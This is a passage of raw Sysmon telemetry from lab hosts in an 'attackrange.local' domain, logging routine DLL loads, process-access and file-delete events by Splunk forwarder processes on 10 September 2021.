Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000057597Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.460{7BD73061-755A-613B-B90B-00000000F001}6060C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000057596Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.460{7BD73061-755A-613B-B90B-00000000F001}6060C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000057595Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.460{7BD73061-755A-613B-B90B-00000000F001}6060C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000057594Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.460{7BD73061-755A-613B-B90B-00000000F001}6060C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000057593Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.460{7BD73061-755A-613B-B90B-00000000F001}6060C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000057592Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.460{7BD73061-755A-613B-B90B-00000000F001}6060C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000057591Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.460{7BD73061-755A-613B-B90B-00000000F001}6060C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000057590Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.460{7BD73061-755A-613B-B90B-00000000F001}6060C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000057589Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.460{7BD73061-755A-613B-B90B-00000000F001}6060C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000057588Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.460{7BD73061-755A-613B-B90B-00000000F001}6060C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000057587Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.460{7BD73061-755A-613B-B90B-00000000F001}6060C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000057586Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.460{7BD73061-755A-613B-B90B-00000000F001}6060C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000057585Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.460{7BD73061-755A-613B-B90B-00000000F001}6060C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000057584Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.460{7BD73061-755A-613B-B90B-00000000F001}6060C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000057583Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.460{7BD73061-755A-613B-B90B-00000000F001}6060C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\nsi.dll10.0.14393.3297 (rs1_release_1.191001-1045)NSI User-mode interface DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationnsi.dllMD5=994E2A6D2A0B38E0968B3998E42033AC,SHA256=491F2D1DE09C39B324BCF5800198AC7CCE755F4023F1FEB3854D33716461BC27,IMPHASH=B01B7830101BC0D5FBDE4FFE2B170CF7trueMicrosoft WindowsValid 734700x800000000000000057582Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.460{7BD73061-755A-613B-B90B-00000000F001}6060C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000057581Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.460{7BD73061-755A-613B-B90B-00000000F001}6060C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\dnsapi.dll10.0.14393.4350 (rs1_release.210407-2154)DNS Client API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationdnsapiMD5=D7651F99299B13D576A72643BFC44944,SHA256=589302E630C473DBDF4CE92C59F00B029FCA0C228E7111A764166E16025FA1A9,IMPHASH=3C043C6FF0F62DAEB8819606F79C5ECCtrueMicrosoft WindowsValid 734700x800000000000000057580Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.460{7BD73061-755A-613B-B90B-00000000F001}6060C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\IPHLPAPI.DLL10.0.14393.2339 (rs1_release_inmarket.180611-1502)IP Helper APIMicrosoft® Windows® Operating SystemMicrosoft Corporationiphlpapi.dllMD5=3CD38EDF9CA12F91131EDEE32D1C9DF5,SHA256=AF2440640BF8BDEAAF0DECDD7C354158E415ED0AA340ABA7A6CCCDC09C1E728B,IMPHASH=98738BA55485CCA932F6D222F47FFC55trueMicrosoft WindowsValid 734700x800000000000000057579Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.460{7BD73061-755A-613B-B90B-00000000F001}6060C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000057578Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.460{7BD73061-755A-613B-B90B-00000000F001}6060C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\secur32.dll10.0.14393.2273 (rs1_release_1.180427-1811)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsecur32.dllMD5=BCF1B2F76F8A3A3E9E8F4D4322954651,SHA256=46B327CD50E728CBC22BD80F39DCEF2789AB780C77B6D285EEB90126B06EEEB5,IMPHASH=0D8FF9DE2DA5C07D680347B1A098E759trueMicrosoft WindowsValid 734700x800000000000000057577Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.460{7BD73061-755A-613B-B90B-00000000F001}6060C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000057576Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.460{7BD73061-755A-613B-B90B-00000000F001}6060C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000057575Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.460{7BD73061-755A-613B-B90B-00000000F001}6060C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000057574Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.460{7BD73061-755A-613B-B90B-00000000F001}6060C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 10341000x800000000000000057573Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.460{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-755A-613B-B90B-00000000F001}6060C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000057572Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.460{7BD73061-755A-613B-B90B-00000000F001}6060C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000057571Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.460{7BD73061-755A-613B-B90B-00000000F001}6060C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000057570Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.460{7BD73061-755A-613B-B90B-00000000F001}6060C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000057569Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.460{7BD73061-755A-613B-B90B-00000000F001}6060C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exeMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AECtrueSplunk, Inc.Valid 10341000x800000000000000057568Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.460{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057567Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.460{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057566Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.460{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057565Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.460{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057564Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.460{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-755A-613B-B90B-00000000F001}6060C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000057563Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.460{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-755A-613B-B90B-00000000F001}6060C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000057562Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.460{7BD73061-755A-613B-B90B-00000000F001}6060C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000057561Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.350{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=95C75EA584D38FC88756F54DFDEF14A7,SHA256=B068E9AE217FF8A3E3423F52B282A35949EC889B3F26981B1649C8EDDDC27B33,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000057560Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.350{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=590E11488293C2435AF7BEBA8142BC4D,SHA256=FCB24B6C0E7C3A0A36958EABFF29E52F7CA42CDB12A1F47BE3D163F60BA85C32,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000057559Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.069{7BD73061-7559-613B-B80B-00000000F001}2848C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000057558Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.069{7BD73061-7559-613B-B80B-00000000F001}2848C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000057557Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:18.069{7BD73061-7559-613B-B80B-00000000F001}2848C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 23542300x800000000000000018468Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:19.708{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program 